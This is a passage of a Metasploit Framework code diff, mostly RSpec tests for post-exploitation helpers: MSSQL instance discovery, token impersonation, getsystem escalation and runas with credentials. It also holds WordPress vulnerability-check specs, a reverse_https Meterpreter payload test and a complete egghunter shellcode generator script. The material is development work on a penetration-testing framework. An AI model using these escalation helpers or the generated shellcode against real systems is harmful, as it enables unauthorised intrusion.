allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k_sql_instance
end
end
context "when SQL Server 2005 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k5_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k5_sql_instance
end
end
context "when SQL Server 2008 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
context "when instance is supplied" do
let(:instance) do
named_instance
end
it "should return nil if unable to locate any SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service)
result = subject.check_for_sqlserver(instance)
result.should be_nil
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
it "shouldn't identify a non running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
it "should only identify that instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
context "when SQL Server 7 and instance is supplied" do
let(:instance) do
'MSSQLServer'
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_7_sql_instance
end
end
context "when SQL Server 2000 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k_sql_instance
end
end
context "when SQL Server 2005 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k5_sql_instance
end
end
context "when SQL Server 2008 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
end
describe "#impersonate_sql_user" do
let(:pid) do
8787
end
let(:user) do
'sqluser'
end
let(:service) do
{ pid: pid }
end
let(:process) do
{ 'pid' => pid, 'user' => user }
end
it 'should return false if service is invalid or pid is invalid' do
subject.impersonate_sql_user(nil).should be_falsey
subject.impersonate_sql_user(pid: nil).should be_falsey
subject.impersonate_sql_user(pid: 0).should be_falsey
end
context 'user has privs to impersonate' do
before(:each) do
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege'])
subject.stub_chain('session.incognito').and_return(true)
subject.stub_chain('session.sys.process.each_process').and_yield(process)
end
it 'should return true if successful impersonating' do
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully')
subject.impersonate_sql_user(service).should be true
end
it 'should return false if fails impersonating' do
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff')
subject.impersonate_sql_user(service).should be false
end
it 'should return false if unable to find process username' do
subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0)
subject.impersonate_sql_user(service).should be false
end
end
context 'user does not have privs to impersonate' do
before(:each) do
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
subject.stub_chain('client.sys.config.getprivs').and_return([])
end
it 'should return true if successful' do
expect(subject).to receive(:print_warning)
subject.stub_chain('session.core.migrate').with(pid).and_return(true)
subject.impersonate_sql_user(service).should be true
end
it 'should rescue an exception if migration fails' do
expect(subject).to receive(:print_warning)
subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError)
subject.impersonate_sql_user(service).should be false
end
end
end
describe "#get_system" do
it 'should return true if already SYSTEM' do
expect(subject).to receive(:is_system?).and_return(true)
subject.get_system.should be_truthy
end
it 'should return true if able to get SYSTEM and print a warning' do
expect(subject).to receive(:is_system?).and_return(false)
expect(subject).to receive(:print_warning)
subject.stub_chain('session.priv.getsystem').and_return([true])
subject.get_system.should be_truthy
end
it 'should return false if unable to get SYSTEM and print a warning' do
expect(subject).to receive(:is_system?).and_return(false)
expect(subject).to receive(:print_warning)
subject.stub_chain('session.priv.getsystem').and_return([false])
subject.get_system.should be_falsey
end
end
describe "#run_cmd" do
it 'should return a string' do
p = double('process')
c = double('channel')
p.stub(:channel).and_return(c)
subject.stub_chain('session.sys.process.execute').and_return(p)
expect(c).to receive(:read).and_return('hello')
expect(c).to receive(:read).and_return(nil)
expect(c).to receive(:close)
expect(p).to receive(:close)
subject.run_cmd(nil).should eq 'hello'
end
end
describe "#run_sql" do
let(:sqlclient) do
'blah'
end
before(:each) do
subject.sql_client = sqlclient
end
let(:query) do
'SELECT * FROM TABLE;'
end
let(:instance) do
'commandInstance'
end
let(:server) do
'mssql1231'
end
context 'when only a query is supplied' do
it 'should pass the @sql_client, and query to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S . ").should be_truthy
end
subject.run_sql(query)
end
end
context 'when a query and instance is supplied' do
it 'should pass the @sql_client, query, and instance to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S .\\#{instance} ").should be_truthy
end
subject.run_sql(query, instance)
end
it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S . ").should be_truthy
end
subject.run_sql(query, 'mssqlsErver')
end
end
context 'when a query, instance, and server is supplied' do
it 'should pass the @sql_client, query, instance, and server to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S #{server}\\#{instance} ").should be_truthy
end
subject.run_sql(query, instance, server)
end
end
end
let(:osql) do
'osql'
end
let(:sql_command) do
'sqlcmd'
end
describe "#check_osql" do
it "should return nil if no osql" do
expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah')
subject.check_osql.should be_falsey
end
it "should return true if present" do
expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)')
subject.check_osql.should be_truthy
end
end
describe "#check_sqlcmd" do
it "should return nil if no sqlcmd" do
expect(subject).to receive(:run_cmd).and_return('blah')
subject.check_sqlcmd.should be_falsey
end
it "should return true if present" do
expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool')
subject.check_sqlcmd.should be_truthy
end
end
describe "#get_sql_client" do
it "should return nil if no client is available" do
expect(subject).to receive(:check_sqlcmd).and_return(false)
expect(subject).to receive(:check_osql).and_return(false)
subject.get_sql_client.should be_nil
subject.sql_client.should be_nil
end
it "should return 'osql' if osql is available" do
expect(subject).to receive(:check_sqlcmd).and_return(false)
expect(subject).to receive(:check_osql).and_return(true)
subject.get_sql_client.should eq osql
subject.sql_client.should eq osql
end
it "should return 'sqlcmd' if sqlcmd is available" do
allow(subject).to receive(:check_osql).and_return(true)
expect(subject).to receive(:check_sqlcmd).and_return(true)
subject.get_sql_client.should eq sql_command
subject.sql_client.should eq sql_command
end
end
end

View File

@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/runas'
describe Msf::Post::Windows::Runas do
let(:process_info) do
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
end
let(:phToken) do
"testPhToken"
end
let(:advapi32) do
advapi32 = double('advapi32')
advapi32.stub(:CreateProcessWithLogonW).and_return({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:CreateProcessAsUserA).and_return ({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:LogonUserA).and_return ({
'return' => true,
'phToken' => phToken
})
advapi32
end
let(:kernel32) do
double('kernel32', CloseHandle: nil)
end
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
stubs.each { |meth| mod.stub(meth) }
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
mod
end
context "#create_process_with_logon" do
it "should return a process_info hash" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#create_process_as_user" do
it "should return a process_info hash" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).to receive(:CloseHandle).with(1)
expect(kernel32).to receive(:CloseHandle).with(2)
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure of create process" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
it "should return a nil on failure of logon user" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).not_to receive(:CreateProcessAsUserA)
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#startup_info" do
it "should be 68 bytes" do
subject.startup_info.size.should eq(68)
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
si[11].should eq(1)
si[12].should eq(0)
end
end
context "#parse_process_information" do
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return an exception when given an empty string" do
expect { subject.parse_process_information("") }.to raise_error
end
it "should return an exception when given an nil value" do
expect { subject.parse_process_information(nil) }.to raise_error
end
end
context "#check_user_format" do
let(:upn_username) do
"bob@flob.com"
end
let(:domain_username) do
"flob\\bob"
end
let(:domain) do
"flob"
end
it "should return an exception when username is nil" do
expect { subject.check_user_format(nil, domain) }.to raise_error
end
it "should return an exception when UPN format and domain supplied" do
expect { subject.check_user_format(upn_username, domain) }.to raise_error
end
it "should return true when UPN format and domain is nil" do
subject.check_user_format(upn_username, nil).should be true
end
it "should return true when domain format and domain is nil" do
subject.check_user_format(domain_username, nil).should be true
end
it "should return true when domain format and domain supplied" do
subject.check_user_format(domain_username, domain).should be true
end
end
context "#check_command_length" do
let(:max_length) do
1024
end
let(:max_path) do
256
end
let(:large_command_module) do
("A" * max_path + 1) + " arg1 arg2"
end
let(:normal_command_module) do
("A" * max_path) + " arg1 arg2"
end
let(:large_command_line) do
"A" * max_length + 1
end
let(:normal_command_line) do
"A" * max_length
end
let(:application_name) do
"c:\\windows\\system32\\calc.exe"
end
it "should raise an exception when max_length is nil" do
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
end
it "should raise an exception when application_name and command_line are nil" do
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
end
it "should return true when application_name is set and command_line is nil" do
subject.check_command_length(application_name, nil, max_length).should be true
end
it "should return true when application_name is set and command_line is max_length" do
subject.check_command_length(application_name, normal_command_line, max_length).should be true
end
it "should raise an exception when command_line is larger than max_length" do
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
end
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
end
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
subject.check_command_length(nil, normal_command_module, max_length).should be true
end
end
end

View File

@ -145,6 +145,97 @@ describe Msf::HTTP::Wordpress::Version do
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end end
context 'when all versions are vulnerable' do
let(:wp_code) { 200 }
let(:wp_body) { 'Stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
end
end
describe '#check_theme_version_from_style' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
let(:wp_body) { nil }
let(:wp_fixed_version) { nil }
context 'when no style is found' do
let(:wp_code) { 404 }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
end
context 'when no version can be extracted from style' do
let(:wp_code) { 200 }
let(:wp_body) { 'invalid content' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
context 'when version from style has arbitrary leading whitespace' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
let(:wp_body) { 'Version:1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is not vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.2' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is vulnerable (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.2' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 1.0.1' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is older (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 0.0.9' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 1.0.2' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (text in version number)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.5.3' }
let(:wp_body) { 'Version: 2.0.0-beta1' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when all versions are vulnerable' do
let(:wp_code) { 200 }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
end
end end
end end

View File

@ -394,7 +394,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
" -i,--info Change the info of a host", " -i,--info Change the info of a host",
" -n,--name Change the name of a host", " -n,--name Change the name of a host",
" -m,--comment Change the comment of a host", " -m,--comment Change the comment of a host",
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" " -t,--tag Add or specify a tag to a range of hosts",
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
] ]
end end
end end

View File

@ -2045,6 +2045,17 @@ describe 'modules/payloads', :content do
reference_name: 'python/meterpreter/reverse_http' reference_name: 'python/meterpreter/reverse_http'
end end
context 'python/meterpreter/reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/python/reverse_https',
'stages/python/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter/reverse_https'
end
context 'python/meterpreter/reverse_tcp' do context 'python/meterpreter/reverse_tcp' do
it_should_behave_like 'payload cached size is consistent', it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [ ancestor_reference_names: [

View File

@ -0,0 +1,103 @@
load Metasploit::Framework.root.join('tools/egghunter.rb').to_path
require 'stringio'
describe Egghunter do
describe Egghunter::Driver do
subject do
Egghunter::Driver.new
end
let(:egg) {
'W00T'
}
describe '#run' do
def get_stdout(&block)
out = $stdout
$stdout = fake = StringIO.new
begin
yield
ensure
$stdout = out
end
fake.string
end
let(:default_opts) {
{ :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' }
}
before(:each) do
allow(Egghunter::OptsConsole).to receive(:parse).with(any_args).and_return(options)
end
context 'when the platform is windows' do
let(:options) { default_opts }
it 'returns a windows egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\x66\\x81\\xca\\xff")
end
end
context 'when the platform is linux' do
let(:options) do
{ :platform => 'linux', :format => 'c', :eggtag => egg, :arch => 'x86' }
end
it 'returns a linux egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\xfc\\x66\\x81\\xc9\\xff")
end
end
context 'when the egg is WOOT' do
let(:options) { default_opts }
it 'includes W00T in the egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\x57\\x30\\x30\\x54")
end
end
end
end
describe Egghunter::OptsConsole do
subject do
Egghunter::OptsConsole
end
context 'when no options are given' do
it 'raises OptionParser::MissingArgument' do
expect{subject.parse([])}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when no format is specified and --list-formats isn\'t used' do
it 'raises OptionParser::MissingArgument' do
args = '-e AAAA'.split
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when no egg is specified and --list-formats isn\'t used' do
it 'raises OptionParser::MissingArgument' do
args = '-f python'.split
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when :depsize is a string' do
it 'raises OptionParser::InvalidOption' do
args = '-e AAAA -f c --depsize STRING'.split
expect{subject.parse(args)}.to raise_error(OptionParser::InvalidOption)
end
end
end
end

33
tools/dev/add_pr_fetch.rb Executable file
View File

@ -0,0 +1,33 @@
#!/usr/bin/env ruby
toplevel = %x{git rev-parse --show-toplevel}.strip
infile = "#{toplevel}/.git/config"
outfile = infile
$stderr.puts "Rewriting #{infile}"
data = File.open(infile, 'rb') {|f| f.read f.stat.size}
newdata = ""
data.each_line do |line|
newdata << line
case line
when /^(\s*)fetch\s*=.*remotes\/([^\/]+)\//
ws = $1
remote = $2
pr_line = "fetch = +refs/pull/*/head:refs/remotes/#{remote}/pr/*"
next if line.strip == pr_line.strip
if data.include? pr_line
$stderr.puts "Skipping #{remote}, already present"
next
else
@new_pr_line ||= true
$stderr.puts "Adding pull request fetch for #{remote}"
newdata << "#{ws}#{pr_line}\n"
end
end
end
if @new_pr_line
File.open(outfile, 'wb') {|f| f.write newdata}
$stderr.puts "Wrote #{outfile}"
else
$stderr.puts "No changes to #{outfile}"
end

0
tools/dev/set_binary_encoding.rb Normal file → Executable file
View File

156
tools/egghunter.rb Executable file
View File

@ -0,0 +1,156 @@
#!/usr/bin/env ruby
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'msfenv'
require 'rex'
require 'msf/core'
require 'msf/base'
require 'optparse'
module Egghunter
class OptsConsole
def self.parse(args)
options = {}
parser = OptionParser.new do |opt|
opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -f python -e W00T"
opt.separator ''
opt.separator 'Specific options:'
opt.on('-f', '--format <String>', "See --list-formats for a list of supported output formats") do |v|
options[:format] = v
end
opt.on('-b', '--badchars <String>', "(Optional) Bad characters to avoid for the egg") do |v|
options[:badchars] = v
end
opt.on('-e', '--egg <String>', "The egg (Please give 4 bytes)") do |v|
options[:eggtag] = v
end
opt.on('-p', '--platform <String>', "(Optional) Platform") do |v|
options[:platform] = v
end
opt.on('--startreg <String>', "(Optional) The starting register") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:startreg] = v
end
opt.on('--forward', "(Optional) To search forward") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:searchforward] = true
end
opt.on('--depreg <String>', "(Optional) The DEP register") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depreg] = v
end
opt.on('--depdest <String>', "(Optional) The DEP destination") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depdest] = v
end
opt.on('--depsize <Fixnum>', "(Optional) The DEP size") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depsize] = v
end
opt.on('--depmethod <String>', "(Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)") do |v|
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
options[:depmethod] = v
end
opt.on('-a', '--arch <String>', "(Optional) Architecture") do |v|
# Although this is an option, this is currently useless because we don't have x64 egghunters
options[:arch] = v
end
opt.on('--list-formats', "List all supported output formats") do
options[:list_formats] = true
end
opt.on('-v', '--var-name <name>', String, '(Optional) Specify a custom variable name to use for certain output formats') do |v|
options[:var_name] = v
end
opt.on_tail('-h', '--help', 'Show this message') do
$stdout.puts opt
exit
end
end
parser.parse!(args)
if options.empty?
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
elsif options[:format].blank? && !options[:list_formats]
raise OptionParser::MissingArgument, '-f is required'
elsif options[:eggtag].blank? && !options[:list_formats]
raise OptionParser::MissingArgument, '-e is required'
elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format])
raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format"
elsif options[:depsize] && options[:depsize] !~ /^\d+$/
raise OptionParser::InvalidOption, "--depsize must be a Fixnum"
end
options[:badchars] = '' unless options[:badchars]
options[:platform] = 'windows' unless options[:platform]
options[:arch] = ARCH_X86 unless options[:arch]
options[:var_name] = 'buf' unless options[:var_name]
options
end
end
class Driver
def initialize
begin
@opts = OptsConsole.parse(ARGV)
rescue OptionParser::ParseError => e
$stderr.puts "[x] #{e.message}"
exit
end
end
def run
# list_formats should check first
if @opts[:list_formats]
list_formats
return
end
egghunter = Rex::Exploitation::Egghunter.new(@opts[:platform], @opts[:arch])
raw_code = egghunter.hunter_stub('', @opts[:badchars], @opts)
output_stream = $stdout
output_stream.binmode
output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format], @opts[:var_name])
$stderr.puts
end
private
def list_formats
$stderr.puts "[*] Supported output formats:"
$stderr.puts ::Msf::Simple::Buffer.transform_formats.join(", ")
end
end
end
if __FILE__ == $PROGRAM_NAME
driver = Egghunter::Driver.new
begin
driver.run
rescue ::Exception => e
elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}")
$stderr.puts "[x] #{e.class}: #{e.message}"
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
end
end